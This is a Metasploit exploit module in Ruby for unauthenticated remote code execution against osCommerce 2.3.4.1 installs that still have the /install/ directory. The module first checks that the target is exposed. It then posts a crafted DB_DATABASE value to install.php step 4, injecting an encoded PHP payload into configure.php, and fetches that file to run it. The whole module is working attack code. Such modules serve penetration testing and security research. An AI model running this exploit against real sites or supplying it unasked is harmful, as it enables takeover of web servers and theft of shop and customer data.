##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'osCommerce Installer Unauthenticated Code Execution',
      'Description'    => %q{
        If the /install/ directory was not removed, it is possible for an unauthenticated
        attacker to run the "install_4.php" script, which will create the configuration
        file for the installation. This allows the attacker to inject PHP code into the
        configuration file and execute it.
      },
      'Author'         => [
        'Simon Scannell',      # Original exploit author
        'Daniel Teixeira'      # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '44374'],
        ],
        'Payload'      =>
        {
          'BadChars' => "\x00",
        },
       'Privileged' => false,
       'Platform'   => ['php'],
       'Arch'       => ARCH_PHP,
       'Targets' =>
          [
            [ 'osCommerce 2.3.4.1', { } ],
          ],
      'DisclosureDate' => 'Apr 30 2018',
      'DefaultTarget' => 0))
     register_options(
      [
        OptString.new('URI', [true, 'The path to the install directory', '/catalog/install/'])
      ])
  end

  def check
    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('osCommerce Website')
      return CheckCode::Safe
    end

    res = send_request_cgi({
      'uri'    => normalize_uri(datastore['URI'], 'index.php'),
      'method' => 'GET'
    })

    if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
      vprint_error 'configure.php is not writable'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end

  def trigger
    send_request_cgi({
      'uri'     => normalize_uri(datastore['URI'], 'includes/configure.php'),
      'method'  => 'GET'
    })
  end

  def exploit
    unless check == CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    data = {
      'DIR_FS_DOCUMENT_ROOT' => './',
      'DB_DATABASE' => "');#{payload.encoded}/*"
    }

    res = send_request_cgi({
      'uri'       => normalize_uri(datastore['URI'], 'install.php'),
      'method'    => 'POST',
      'vars_get'  => {
        'step' => '4'
      },
      'vars_post' => data
    })
    trigger
  end
end
